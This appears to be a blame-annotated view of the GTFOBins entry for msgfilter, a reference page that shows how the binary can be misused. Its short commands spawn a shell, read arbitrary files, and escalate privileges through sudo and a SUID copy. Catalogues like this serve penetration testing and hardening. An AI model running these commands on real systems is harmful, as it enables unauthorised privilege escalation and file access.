1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/msgfilter.md

21 lines
953 B
Markdown
Raw Permalink Normal View History

2021-06-04 09:23:53 +02:00
---
functions:
2021-06-04 13:43:15 +02:00
shell:
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
code: |
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
2021-06-04 09:23:53 +02:00
file-read:
2021-06-04 13:43:15 +02:00
- description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
code: |
2021-06-04 09:23:53 +02:00
LFILE=file_to_read
msgfilter -P -i "LFILE" /bin/cat
sudo:
2021-06-04 13:43:15 +02:00
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
code: |
echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
2021-06-04 09:23:53 +02:00
suid:
2021-06-04 13:43:15 +02:00
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
code: |
echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
2021-06-04 09:23:53 +02:00
---